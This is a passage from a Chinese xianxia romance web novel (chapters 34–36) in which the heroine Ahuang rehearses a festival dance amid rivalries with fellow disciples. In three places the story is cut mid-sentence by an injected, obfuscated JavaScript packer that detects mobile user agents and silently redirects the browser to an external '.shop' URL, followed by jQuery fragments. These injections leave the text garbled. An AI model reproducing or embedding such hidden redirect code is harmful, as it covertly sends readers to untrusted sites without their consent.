“纯儿师姐的嗓子怎么就是不见好?”宋清希关心地凑上前,眸中十分诚挚。 这小子真正关心人的时候不是挺正经的嘛。 “若是迟迟不见好转,纯儿师妹不如试试别的法子?”独孤凤渊也在真心为她考虑,“各地的医修都有擅长与不擅长的手法,兴许换个地方就有效了。” 顾纯儿还是咳嗽,好像没功夫说话。 咳得低下了头,在旁人看不见的角度,她偷偷瞄了玄极一眼,见到他一向冷漠的眸中也露出一丝担忧,她才心满意足了。 似乎是怕露馅,顾纯儿在玄极疑惑时开口:“没事的,也许是习惯了经常咳嗽吧,一见着风就觉得嗓子眼痒,忍不住咳了出来。” “给你配的药可有好好服用?”玄极问。 她点头如捣蒜:“有的师父!人家怎么会辜负师父的好意呢?只是……药好苦哦,下次能不能换些没那么苦的呀?有别的东西冲冲苦味也好,人家最喜欢甜甜的东西啦。” 看着她旁若无人地对师父撒娇,独孤凤渊和宋清希表情都有点僵,阿凰看了只在心里冷笑。 其实这几个人有来有回的表演还挺有意思的,如果她是个彻彻底底的局外人,看这一切会更有意思。 笑别人是舔狗,可她自己心里也有点酸楚。 原来大家都一样贱啊,谁又比谁清醒高贵呢? “良药苦口。”玄极道,思考了一下,“本座会试着改良。” “又在故技重施惹所有人关心了。”夜月姬的声音冷不丁响起,“和你对骂的那几个女孩眼睛比你雪亮,早就看出来她喜欢装可怜博同情。” 阿凰想劝她嘴下留情,可她早就料到,秒屏蔽外界信息再度沉睡。 晨练结束时,阿凰下意识想留在最后面,像往常一样跟在人群后头走,降低存在感,就像上学的时候,放学的人都走光了她才走。 可玄极看了她一眼:“阿凰留下。” 突然被点名,阿凰心里很慌,不会是那几个女孩跟他告状了吧?可是她没错,就算被责罚她也不会认错,维护朋友为什么是错的? 同样愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213901|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下的还有顾纯儿,只不过她是惊愕,头一次看见她这种反应,阿凰更慌了,她不会是误会了什么吧? 天地良心,阿凰绝对没有对自己的师父有任何男女之情,怕他都来不及。 一瞬间的惊愕过后,顾纯儿又恢复正常,用撒娇的语气问:“师父是有什么事呀?” “过后你们便会知晓。”玄极并未告知。 她不肯罢休:“师父单独留阿凰不会是有什么秘密吧?我也很好奇,我也想听听嘛!” 天老爷,再冷漠的男人听了她这样撒娇的声音也会笑出来的,可阿凰看玄极神色如常,甚至露出一丝责备,他看着顾纯儿,不欲多费口舌:“去吧。” 要不是这两个人在暧昧期,估计玄极都要直接叫她退下了。 顾纯儿的视线盯了玄极好一会儿,见他没有松口的意思,这才勉强笑着说:“那好吧,师父一定要早点让我们知道是什么事哦。” 见玄极没有挽留之意,顾纯儿掩藏起那一丝不甘心,大度地笑着,走向等候她的独孤凤渊和宋清希,离开之前看了阿凰一眼。 她鸡皮疙瘩都要冒出来了,第一次见到顾纯儿用这么奇怪的表情看着她。 真奇怪,自打从镜中世界出来之后,几天不见,顾纯儿好像变得更黏着玄极了。 也许是青春期的小女孩在患得患失吧。不过有一点阿凰挺羡慕的,顾纯儿一向很勇于表达自己,有喜欢的人,也不藏着掖着,不怕别人的目光,没有什么不好意思的,热烈大胆地表达自己的心意。 优越的家境,培养出自信大方的性格。 因为永远有退路,只需要一往无前就可以了,至于会有什么后果?那也是完全可以承担的,而普通人束手束脚,要考虑的太多了。 直到三人走远,玄极才说:“每逢重大节日,紫微派皆会举行祈天祭典,以求上苍庇佑下界,三日后便有祭典,你既精通音律,又习得天舞缭乱,舞姿过人,是最合适的人选。” 原来是这件事啊,阿凰松了一口气,问:“可是需要弟子准备什么?” “在紫薇派,音律与舞蹈方面无人能及你,无需过多准备,本座只是将此事告知于你,若有需要可来璇玑阁。” 阿凰没忍住心中的疑惑问:“纯纯的声音更是无人能及,定然比我更合适,师父为何不留她?” “吹拉弹唱自有人选,你只需献上舞艺。” 其实玄极没有说的是,他自己也是有私心的。顾纯儿受人喜爱有目共睹,太受欢迎有时候不是一件好事,他不想她再被更多的人觊觎。 人非草木,孰能无情,他并非如表面上那般,能做到完全绝情绝爱,那是神,可他还是身处凡间的男子。 这件事只商量了几句就结束,阿凰向玄极道别,离开前,他忽然开口说了句:“你话很少。” 阿凰从来没发现这一点,之前顾纯儿说要她多笑笑,她也不觉得自己是一个不爱笑的人。 “你心理活动多,所以才会觉得自己话不少,实际上你说出口的话真的不多,也算不上爱笑。”夜月姬又冒出来了,似乎在玄极这样强者面前她基本不出现。 这么一说似乎还真是。她习惯了把话都藏在心里,潜意识里觉得,反正说出口也没人听,没有人会在乎她的想法,干脆都在心里碎碎念了。 不过谁没事干就笑呢?又没人找她,总不能对着空气傻笑吧?其实在很久以前,她在当小网红的日子也是很爱笑的。 那时候,经济自由,又有志同道合的朋友,学业顺利,也没有容貌焦虑,经常被夸,当然爱笑了。 那样美好的日子太短暂了。 夜月姬叹气道:“我是真怕你哪天憋出病来了。” 长期被忽视的人,习惯了自己的声音不被倾听,学会了和自己说话。 34. 高岭之花 与玄极分开后,顾纯儿紧紧咬住下唇,闷头不语,一个人直直地走路,任由独孤凤渊和宋清希怎么问,她也不说话。 看着她愤恨的表情,两人自然明白是为了什么,可他们使劲浑身解数也无法让顾纯儿重现笑颜,她甚至越走越快,等追上她的时候,发现她竟气哭了。 “纯儿师姐,你别不说话啊,到底要怎么样你才能不哭?”宋清希围在顾纯儿身边转,因穿着杏色衣服,活脱脱一只飞来飞去的蜜蜂。 而独孤凤渊在这种时候变得嘴笨了。 憋了半天才说:“我去跟师父说你很难过,让他来看你,别伤心了好不好?” 顾纯儿一眼都没看他们,在听到玄极的名字时才回应:“不许去!别找他,不许跟他说。” “好吧……”独孤凤渊没辙了,“那,你要怎么样才能好受些?” 她没心思应付,狠狠踹了旁边的竹子一脚泄愤,树叶被震得发出沙沙的声音,落下几片叶子,她哼了一声,满是憋屈的意味:“我再也不要理他了!” 宋清希连连说好,附和她:“不理就不理了,你还有我呢,我也可以陪着你。” 见她还是不高兴,宋清希想到什么,又说:“我让阿凰来跟你道歉。” 顾纯儿顿了一下,眼睛无意识向右转,声音不自觉变小:“跟她没关系。” 宋清希似乎明白过来什么,为她撑腰似的:“怎么就没关系?身为朋友她竟然瞒着你有秘密,明知你身子不好最需要师父,还占着师父的时间,这时候还不快主动来和你说明情况,罪加一等。” 听着听着,顾纯儿努力压着嘴角的弧度,还是微微翘起来一点,竟有点窃喜的意味,也不知是因为他在讨她开心,还是因为他指责罪魁祸首阿凰。 在她不开心的时候,有这么两个优越的男子为她出头,当宝物一样哄着她,为了她说别人的坏话,她心中是有些志得意满的。 十几岁的少女满心满眼都是某个人,正是眼里容不下沙子的时候,更何况长这么大从来没有人敢跟她攀比争抢,危机感,不安,她头一次有这么陌生的感觉,她讨厌这样。 一向都是她掌控别人的情绪,怎么有一天她竟会因为别人而感到慌张? 被旁人抢去了目光,她心中自然有些不高兴,如今他们为了她讨伐那个女孩,她心中的攀比心得到了满足。 发现她平静了些,独孤凤渊也跟着说:“阿凰没学会避嫌确实有错,纯儿师妹实在难过,还是让她和你道个歉,把事情说开了吧。” 这两个人因为他们哄不好顾纯儿,又因为她如此伤心的原因,是眼睁睁看着阿凰和玄极暂时独处,不约而同的认为阿凰是罪魁祸首,把责任怪在她头上,对她又多了一分厌恶。 顾纯儿心情好了一点,用手帕擦擦眼泪,吸吸鼻子说:“你们也别这么说,她不是故意的,都是朋友,我不要她道歉,回头我自己想通就好了,我娘亲教我出门在外要互相包容,她也是美好的女孩子,不许欺负小女孩。” “冤枉啊师姐!”宋清希连忙叫冤,“我哪敢欺负她?她那些朋友牙尖嘴利,毒蛇一样,靠近就要被咬。” 总觉得哪里不对劲,顾纯儿沉默片刻,捕捉关键词:“你怎么知道?” 见他不说话,她心里的怀疑感更重了些,说出口的话换了个好听的方式:“你是不是又欺负她了?” “我真的冤枉啊!”要被责怪被怀疑,宋清希急得差点说真话,“那天离开神机庭,我看师姐好像和那个女子不对付,就去观察一下,发现她和阿凰是朋友,还想偷袭我,嘴可毒了。” 顾纯儿愣了一瞬,很快恢复如常:“这样啊……” “师姐?” 她用手帕擦擦脸,说:“我要去看戏文了。” “我也去!”宋清希活跃在最前线。 独孤凤渊终于插上话:“看戏文散心也好,我还在凌霄宗时也爱看,不知纯儿师妹喜欢什么样的?推荐一番,我也去看看。” 她终于止住眼泪,两个少年乘胜追击,不断用话头哄着她,听着两个人中龙凤似的少年在一左一右奉承她,顾纯儿笑了。 “我最喜欢看《神庭记》。” 独孤凤渊了然,心中一喜。先前就因为镜中世界的经历,顾纯儿好几日没搭理他,这会儿终于有所好转,恨不得再多找点话题。 他虽未亲自看过,但也有所耳闻,这戏文讲的是司法天神时律与司音天神师夷则的故事,是一篇缠绵悱恻的爱情故事,他原本对这种儿女情长的故事没兴趣,既然顾纯儿喜欢,他也乐意去了解。 故事中,时律对师夷则偏执的爱,让他在师夷则灵魂深处埋下诅咒般的咒印,令她生生世世只爱他一人,哪怕转世一万遍也会在每一个世界都爱上他。 以前独孤凤渊不屑,现在他觉得未尝不可,若有机会,他会在顾纯儿灵魂中也下一个咒印。 …… 自打去了几次草地玩,球球已经喜欢得不行,每次阿凰打算拿起小箩筐,它就自觉地抢先跳进去,激动地叫个不停,好像在催促她快点出门玩。 球球本就爱叫,声音又奶又嗲得不行,听得阿凰有时忍不住也学着它的声音叫,蹭蹭毛茸茸的小猫脑袋,球球便也好奇地蹭蹭她的脸,鼻子凉丝丝的。 背着小箩筐出门,半路上就看见一个女子坐在枝头上,脊背靠着树干,两手抬起枕着脑袋,两腿交叉叠放在树枝上,正微微张着嘴呼呼大睡,胸口随着呼吸的频率在微微起伏。 幸好没有流口水……阿凰倒不觉得她看起来没有形象,反而觉得她不拘小节,她给人的感觉一直都很特别。 “乌妤?”阿凰仰头看着树上的女子。 自从被她纠正,不用太生分,叫得拗口听得她也别扭,阿凰就和她互相直呼名字了,不止阿凰,另外的伙伴也改了称呼。 树上的身影一跃而下,跳到阿凰面前,小箩筐里的球球好奇地看着她的一套动作,竟也没有惊吓,自从第一次见到她,球球好像就没怕过。 还真是说不准原因,和少部分人第一次见面它就不怕,大多数情况它还是那么怕生。 “我就知道你要去溜球球。”乌妤伸手戳了戳球球的脑袋,它只是从喉咙里发出一声小声的猫叫,并不退缩。 两人并肩走着,阿凰问:“你也喜欢溜猫?” “我也喜欢猫猫。” “那你怎么不养一只?” 乌妤理所当然:“猫还是看别人养的有意思,逗别人的猫那叫乐趣,自己养就是生活了。” 也是,喜欢逗猫和自己养还真不是一种体验。 到了老地方,这一次没有看到那条狗,阿凰有点好奇,不过也无从查看和询问。 “那条狗呢?”乌妤也问。 陪着球球玩了半晌,也没再见到那条狗,阿凰觉得今天肯定是见不着了,兴许是被主人栓住了吧。 乌妤的精力比她旺盛好几倍,她累得坐下休息时,乌妤还在陪着球球上蹿下跳,真是一个充满生命力的人。 这种似乎能跟所有人都能打成一片的性格,是怎么和顾纯儿有矛盾的?按理说,两个太阳聚在一起会更灿烂才是啊? 任由球球在草地上撒丫子乱跑,乌妤走过来坐下,问起:“祭典的事你准备得怎么样?” “你怎么知道?”阿凰反问。 “用指甲盖都能想到你一定会被选中吧?” 好吧。这么一问,阿凰想起此前的场景。 拜别玄极后,她去找乐师们磨合,一到场却无人关心她的想法,甚至问为什么不是顾纯儿来,在她解释后,再次询问哪些乐师可以合作,一个个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250045|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说无法配合她的舞姿,天舞缭乱乃神之步伐,非凡人可轻易领会。 虽然很无语,她也只能另想办法。 听了她的经历,乌妤兀的冷哼一声:“怎么又跟她有关系?” 还没等阿凰问,她又说:“那我就帮你一把吧,这次我还非帮你不可,而且一定要做到最好,他们不仁,我也略懂一些乐器。” 眼看乌妤从储物袋中掏出一把琵琶,试了试音,就弹出一段曲调,阿凰惊喜的同时不算很惊讶,她发现修仙界不少人多多少少会一些乐器,可能是修行苦闷陶冶情操吧,甚至连顾纯儿也会一点点古琴。 “怎么样,够格给你伴奏吗?”乌妤问,“你也可以指名让我弹一首。” 正好最近新写了一首歌,阿凰拿了谱子给她看,准备好后,两人便开始合作了。 乌妤有点意外,阿凰唱歌的时候完全是不一样的感觉,沙哑的声音像是参杂了沙砾,带着岁月沉淀的质感,再加上,她写的歌肯定是最合适自己的风格,两者相融合恰到好处,换成别人来唱肯定不会有这种独特的感觉。 其实阿凰的声音并不是难听,而是奇怪,第一次听到的时候乌妤就这么觉得了。 奇怪在哪儿呢?她说不出来。 不得不说阿凰对感情和技巧的运用炉火纯青,完全不会觉得炫技,而是一种娓娓道来的舒适感,富有层次感。 一曲唱毕,乌妤感叹道:“这才是唱歌啊,瞬间感受到了专业歌唱者与普通爱好者间云泥之别的差距,不像某些人,白瞎了音色,唱得跟要断气的驴似的。” 明晃晃的内涵,阿凰又被勾起好奇心了。 还没说什么,乌妤又问:“为什么你总能写出这么有故事感的歌呢?其实你唱歌的时候声音很特别,怎么不多唱?” 听说共情能力足够高的人很适合从事音乐,因为脑部镜像神经元丰富。 阿凰觉得,也许是因为自己太容易共情这个那个的吧。 至于为什么不爱唱歌?不知从何时起,阿凰变得很在意自己的声音,很害怕听到别人对此的负面评价,自从被宋清希嘲笑后,加上有顾纯儿的对比,她就对自己的声音更自卑了。 还没等她想好怎么回答,乌妤的动作顿住,缓缓抬头看着某处。 随着她的目光看去,视线搜寻了会儿,阿凰才看到一棵树旁站了个女子,一身月白色衣衫迎风而动,身姿高挑纤长如柳条般优美,装扮简朴,发髻间之簪了两支碧玉簪,面庞也素净得像白瓷。 整个人看起来超尘脱俗,完完全全的世外仙子的气质,因着面上无甚神色,眸中无喜无悲,更是不食人间烟火。 真美啊……这是阿凰心中的感慨,见到真正的美人,就是会失去一切形容词,直观的美直击心灵,再多的修饰也没有意义了。 真真正正的高岭之花。 只是为何,看着那张脸,她心中会有一种熟悉感呢? “这是我们紫微派大师姐,名为山水侗,是掌门的亲传大弟子。”乌妤介绍道,“姓山水,名侗,倥侗的侗,很独特的姓氏吧?” 是很独特,至少阿凰从未听闻。不过她觉得更特别的是掌门亲传弟子的身份吧?掌门已经是个地仙了,亲传弟子一定也不简单,可以预订为半仙了。 “这是山水家族独有的姓氏,祖上功勋赫赫,由人皇赐的姓。”乌妤说着,眸中有些不解,“侗师姐一向不爱与人往来,几乎是闭门不出,连我见到她的次数一只手都数得过来,她怎么在这儿听我们唱歌?” 看着那边的山水侗,阿凰才发现她怀中抱了几支刚摘下来的花。 “昔有佳人好音律,不愧为高山流水。”山水侗启唇,明明隔了一段距离,声音也能清晰地传入阿凰耳中。 乌妤惊喜之余,后知后觉道:“她说我们是佳人哎。” 35. 帮手 山水侗已然轻飘飘地落在跟前,近距离看着这张脸,阿凰心中奇异的感觉更重了。 不是觉得奇怪,而是有一种神奇的感觉,熟悉,又陌生,总感觉在哪里见过,似乎在记忆深处,很久很久以前,她对这张脸十分熟悉…… “见过师姐。”阿凰心中带着尊敬打招呼。 “师姐是被我们的声音吸引来的吗?”乌妤笑着问。 “嗯。”山水侗静静看着二人,“方才的歌,曲风别致。” 高情商:别致。低情商:非主流。 非贬义的非主流,而是不属于这个时代主流的曲风。 因为阿凰是个现代人,写的歌大部分也是下意识按照流行曲的旋律所创作。 有的算个国风歌吧。 “那是我遥远的家乡的风格。”阿凰解释。 山水侗静默看着她片刻,启唇道:“天舞缭乱。” 她居然也知道啊?阿凰有点惊讶了,自己似乎在无形之间出了一次大风头。 “祭典,去吗?” 阿凰点点头:“师父安排了我去。” 乌妤两只眼睛滴溜溜地转,目光在阿凰和山水侗之间切换,想到了什么,说:“可惜啊,阿凰是个实诚人,没有乐师愿意配合她,也不好意思强求他们,我是能帮,但是我的琵琶弹得一般般。” 一听到她这么说,阿凰就知道她心里在打什么主意,她的琵琶哪里是弹得一般?只不过是想抛砖引玉罢了。 果然,山水侗缓缓眨了眨眼,说:“我会来。” “真的嘛师姐?”乌妤看起来比阿凰还高兴,“那真是太好了!有了师姐帮助我们一定会如虎添翼的。” 光点凝聚在山水侗手中,一把精美的箜篌出现在她怀中,泛着淡淡的光华。 她不言语,只是抱着箜篌弹奏一曲,阿凰耳中立刻分辨出此曲艺术成分之高。 弹罢,山水侗看着阿凰:“试试。” 不知为何,她竟能领会这个惜字如金的女子在表达什么,颔首道:“那就麻烦两位师姐为我奏乐了。” 由于是临时起意,且距离举办祭典剩下的时间不多,阿凰没能为此亲自编一首适合自己舞蹈的曲子,而是由山水侗选了一首古朴的曲,和乌妤一同演奏。 四周恰到好处的有风吹过来,带起衣袂飘飘,随着起舞头发丝也显得如此完美,天青色披帛如一抹奇异的烟霞渲染在天地间。 “可以的,很合适。”跳完,阿凰说。 一直练习到晚霞升起,眼看时候不早了,阿凰和她们约好明日还在此处见,山水侗先行一步,望着她远去的背影,如仙子遁入凡尘之中,遥不可及。 看乌妤有些意犹未尽,阿凰便问:“你好像很喜欢侗师姐?” “因为她也很喜欢我们。”乌妤迎着她疑惑的目光说,“否则就不会主动出现了,非重大场合她都不会露面,一向都是蒙面示人,要不是我见过她的真面容,也不敢断定,毕竟谁能想到经常闭关的侗师姐竟会答应配合我们。” “还真是一个神秘美丽的女子。”阿凰产生了好奇心和兴趣,“再多说说侗师姐的事吧。” “其实我知道的也不多,或者说她本身就是个秘密。”乌妤回忆道,“她是将军府大小姐,据说为了逃婚,也为了证明自己不是空有美貌任人摆布的美人,便跑来紫微派求学。一来到紫微派,她的美貌就引起了一片轰动,所以一直蒙面,不喜与人来往,只是立在那便清冷绝尘,大家不敢打扰但对她评价颇高。” 听完阿凰对这个女子更多了一分敬重。 超尘脱俗,遗世而独立,清醒独特的思想,真是太难得了。 像一朵雪莲花。这是阿凰对山水侗的印象,高洁而美丽。 与乌妤分别后回到观画阁,远远的阿凰就看到一个身着粉绿裙子的少女坐在石头上,撑着脑袋望向远处。 平时她都是像一朵鲜花周围有绿叶衬托,没看到她身边围着人,一时竟有点不习惯。 看到阿凰回来,顾纯儿小跳下来,主动招呼道:“阿凰回来啦?今天是不是很忙?” 她是在套话吗?不知为何,阿凰心中冒出这个想法。 若是换作之前,她会自作多情的以为顾纯儿在关心自己,早就一股脑把所有事都说出来,此时她却联想到顾纯儿被玄极打发走那时不甘的眼神,总感觉她带着目的性来找自己说话的。 “不算忙啦,就是跟朋友唱唱歌跳跳舞,一天就过去了。”阿凰维持着表面功夫。 “这样子……”顾纯儿看起来像是突然想起什么,后知后觉似的问,“咦,师父不是有事叫你吗?结束得这么快?” “是啊,师父就交代了我两句话。”阿凰淡然处之,忽然就想明白了,她觉得自己没什么好心虚的,顾纯儿喜欢玄极,那是她自己的事,她已经把避嫌做到最好了,而且玄极肉眼可见的对自己没有那种意思,就她和玄极两个人之间,师徒关系纯粹得不行。 在修仙界,尤其是古代背景,搞师徒恋是要背负骂名的,哪怕是在现代社会,师徒恋也处于舆论之中,阿凰对自己师父没有非分之想,真正应该心虚的另有其人。 她倒不是反对师徒恋,也无暇关心别人的恋情,只是顾纯儿的心思实在过于明显,有时她也会担心顾纯儿被舆论指责,欺师灭祖,毕竟还是个十几岁的少女,阿凰对她有同理心。 听到这个答案,顾纯儿肉眼可见的高兴了许多。 她虽然嘴硬说再也不要理玄极,可是离开之后还是立刻关切他那边的动向,自然也知道他和阿凰独处并不久,故意这么问,就是想看看阿凰会是什么反应,会不会说谎。 “哎呀”了一声,顾纯儿语气有点惋惜:“你和大家玩怎么不叫我一起呢?我也特别喜欢唱歌跳舞的!” 妙音仙子喜欢唱歌,不是聋子的都知道了,至于喜欢跳舞,阿凰没看出来。而且,这些日子阿凰就没见到她几次,也不好主动去找,没那么闲,也怕热脸贴冷屁股。 就怕一次主动换来一生的沉默,这种感觉,她已经体验过好多次了。 进入幻境试炼前,顾纯儿忽冷忽热的态度让她陷入内耗,后来又跟没事人一样,让她捉摸不定。 见她如此主动,阿凰不好拒绝,心里也想着和她一起玩,最怕自己一不小心冷落了别人:“好啊,等我这两日忙完了,我们大家伙一起载歌载舞呗。” 顾纯儿笑嘻嘻地应了声好。 这两天要为了祭典准备,倒不是不能让顾纯儿围观,只是乌妤也在,这两个人很明显的不对付,阿凰不想她们起冲突。乌妤不说,她也不敢问顾纯儿,只能猜测她们之间一定有什么误会,便打算之后找机会撮合撮合。 这两个人各有各的特别明显的优点,性格人品都很好,到了相看两相厌的地步,一定是有误会的,这么好的两个人如果不能和好真是太可惜了。 与她道别后,顾纯儿一蹦一跳地离开了。 “还说你不带她玩呢,她自己跟两个师兄弟去看戏文,也没见她想到你啊。”夜月姬慵懒的声音带着不屑,“你要是真叫了她一起,她又不乐意了。” 不知道她又在叽里咕噜说什么,阿凰没打算理会,她却又说:“我说,顾纯儿跟泡椒凤爪,还有桀骜哥三个人约会去了,燃冬上映了,真是精彩的戏码。” 阿凰推门的动作一顿,接着无事发生似的把小箩筐放下来,球球跳出来,仰头看着她喵呜喵呜的叫。 她摸摸球球的小猫脑袋:“那是他们的事,人家也没义务非要带我一起玩。” “反过来同理,你也没有义务非要和她玩,顾虑她的想法。”夜月姬说,“她自己玩得开心的时候从来没想到你,怎么好意思跟你说这种话的?” 球球的帝王引擎咕噜咕噜震到了身体,阿凰手心感受到震感,小猫的体温温热,让她觉得有点烫手。 “她只是在开玩笑啊,又不是真的非要我怎么样。” 好像料到了她会这么说,夜月姬长叹一声:“要不说绿茶最得人心呢,女人也上当。” 阿凰想反驳,想维护一下自己的朋友,让夜月姬这个老朋友谈论自己的新朋友别那么难听,她最害怕最不擅长处理朋友之间的矛盾了,可是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254375|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想开口的时候却发现很艰难,好像一切语言都很苍白。 “你知道她为什么那么普通却那么自信吗?”夜月姬忽然问。 “第一,纯纯不普通,第二,不许在我脑子里学那些乱七八糟的。”阿凰说。 过了会儿,她回答:“因为她家世优越,这就是最大的自信了,更何况她还人见人爱,不自信都难吧?” “对,家世是一点。”夜月姬说,“还有就是,她一直众星捧月的,就算一坨狗屎,天天被人夸多么好,也会拥有一种迷之自信的感觉。” 虽然她的话怪怪的,但是阿凰也明白她想表达的意思。 一个人即使再普通,只要是有人爱着的,被爱意包裹,经常收到赞美,就会变得自信。 《绿山墙的安妮》里说过,如果长相平凡,你就能尽情地做你自己。 这也是顾纯儿自信的原因之一吗? 目前的她也很平凡,可是她似乎还不太理解怎么做自己。 “她可不只是迷之自信,是自信过头了变成自负。”夜月姬又在慵懒之间毒舌,“她的自信分你一份就好了,可是,这么自负的人也有危机感啊。” 听着她看热闹不嫌事大的语气,阿凰想起在后山的场景,顾纯儿撒娇不成被迫离开,走之前看了她一眼,那个眼神,她绝对没有看错。 高敏人能够感受到别人微妙的恶意,也许那个时候顾纯儿只是不服气,但是那一瞬间的恶意是真实存在过的。 不愿意多想,阿凰在脑中切断了这件事的回忆。 翌日她将球球放进小箩筐里,准备带出门,让球球在草地上玩耍,她们继续练习,一举两得。 走出门没多远,视线里就捕捉到一个青莲色身影,随意地靠在那儿,一缕青丝垂到胸膛上,那出的料子上绣有精致的暗纹。 撞上他浅色的瞳,阿凰心里莫名一咯噔,她竟从那双眼睛里看出来一丝不耐烦的意味。 “怎么了?”走上前,她故作淡定,袖子里的手却无意识中因为紧张而掐着掌心。 她没惹他吧?也没惹他心爱的女孩吧? 独孤凤渊启唇,语气平淡:“师父让我协助你完成祭典的表演。” 不知道玄极是什么意思,阿凰只能应了个“哦”,带头走路:“那就走吧,还有另外两个伙伴和我合作,我们约好了时间地点一起磨合练习。” 她下意识的给出一堆解释,他却什么反应都没有,好像个无情的执行任务机器。 要不是阿凰见过他深情执着的模样,她就真的以为他本来就是这个性格了。 到了老地方,山水侗已经等候在那,不知是预料到今天有新成员加入,还是有千里眼,她戴上了帷帽。 乌妤正好也刚刚到场,看到她,独孤凤渊眉梢一挑,却也没说什么,而乌妤看到他,露出一种耐人寻味的笑,似乎打算毒舌一番,想了想还是算了。 独孤凤渊没说的是,玄极知道了阿凰的待遇,知道他会吹埙便让他来帮衬,因为顾纯儿的古琴只是初学者水平,宋清希更是五音不全,最后就只剩他能帮忙。 熟悉了曲谱,他说:“开始吧。” 做预备动作时,阿凰有点后悔今天没穿最好看的那件裙子。 一旦正式开始起舞,她便沉浸在其中,不再有杂念,一心一意投入,直到跳完,她收起动作抬眸时,正好撞上了独孤凤渊的眼神,竟捕捉到他眸中那一丝赞赏,虽只有一瞬。 “怎么样?”乌妤像个好事者,“阿凰今天表现得怎么样?都评价一下,要是都不说,她怎么知道自己哪里不足,从何改变?” 山水侗说了句“不错”,她一向寡言少语,一个不错就是最真心最大的夸赞了。 轮到独孤凤渊,他沉思片刻道:“我不通舞艺,不作评价,只是遵从师命前来协助。” 没得到想要的回答,乌妤瘪瘪嘴,好像觉得没意思。 而阿凰心中也莫名有一点失落。 是啊,要是换作顾纯儿,他早就用世上最美好的语言诚挚地夸赞她了,恨不得将自己一颗心捧出去,生怕她看不见。 36. 祭典 很快到了祭典之日,天还没亮,阿凰就被屋外传来的声音叫醒,她迷迷糊糊打开门,看到门外站着的几个人,一时之间有些晃神。 为首的三个人正是今日要配合她的,一向不着边界的乌妤此时打扮了一下,简洁干练,山水侗一身白衣,头上戴着帷帽,帽檐上有兰花,衬得她如仙子一般脱俗,而独孤凤渊穿了一身藏蓝色衣服,站在边上,似乎在有意与女孩子们保持距离。 三个人身后,正枫的衣服肉眼可见比平时精贵许多,独孤槿也精心打扮了一番,站在独孤凤渊身边,像一朵鸢尾花,最近没见面的徐子岑也来了,头上依然簪着橘子样式的发饰。 没想到大家会这么重视她的演出,阿凰心中感动,张了张嘴却说不出什么话。 “你刚醒呢?别发愣了,快收拾收拾出发了。”乌妤推着阿凰进屋,剩下的几个女孩子也跟着进来,独孤凤渊和正枫在外头候着。 “要穿什么,打扮成什么样?包在我身上,保证让你有耳目一新的感觉。”独孤槿打包票道。 阿凰打开柜子,挑了几件衣服出来,在自己身上比划一下,看着她们:“你们觉得哪件最适合?” 乌妤原本大大咧咧的坐着,这时站起来:“你身材那么好,就是天生的衣架子,穿什么都能穿出高级的感觉,自己选一件最喜欢的就好了。” 另外几人也同意,阿凰便拿出那套正红色的衣装,内心存了一点私心:“那就这件吧。” 换好衣服,独孤槿开始为她做发型,乌妤和徐子岑在一旁打下手,山水侗只是静静站在一边看着她们,却像一尊等待供奉的神女雕塑。 将近半个时辰后,繁复精美的飞仙髻终于编好,点缀着发饰,闪闪发光,此时天色微亮,天边露出鱼肚白,东方既明,利用屋内夜明珠的光泽,阿凰看着镜子里自己的身影,有点恍惚。 她们把她打扮得很漂亮,像仙女一样,她很满意,曾几何时,她也是明艳动人自信大方的美人,许多次造型师化妆师都夸过她,可塑性很强,可温婉可典雅可灵动。 如果不是发生了意外,她原本可以很体面地活着,不说能吸引心中挂念之人的目光,至少也不用受人白眼,在之前,她原本觉得失去的那些东西无关轻重,可这些日子以来,被挑衅,被讽刺,受尽冷落,在那个人面前,她好像连一点吸引他的本钱都没有,原本她不用承受这些的。 独孤槿正要给阿凰脸上画上妆容,她婉拒了,反正她要带上面纱,化了妆也白化。 “那就给眉眼化一下?”徐子岑说。 看着阿凰的眼睛,独孤槿思考片刻,摇摇头:“阿凰眉眼本就好看,化了反而画蛇添足,保留最自然的样子就好。” 走出门,初升的晨曦越过山头,投在地面,留下明显的明暗交界。 “怎么样?看看这是谁?”独孤槿期待地问。 正枫是个老实人,还是个直男,只会夸好看,说:“比平时更好看了。” 又轮到独孤凤渊评价,他看起来却毫无兴趣,只是催促道:“快走吧。”说罢自己转头先走了。 几个女孩面面相觑,乌妤说了句“莫名其妙”,独孤槿想为他辩解:“也许是觉得我们打扮太久了,走吧走吧。” 其实出门第一时间阿凰就下意识看向独孤凤渊,没有错过他眼里一瞬间的惊艳,好像头一次见到一个平时普通的女孩变得耀眼,不自觉的被吸引了一下目光。 虽然真的很短暂,短暂到阿凰以为自己看错了。 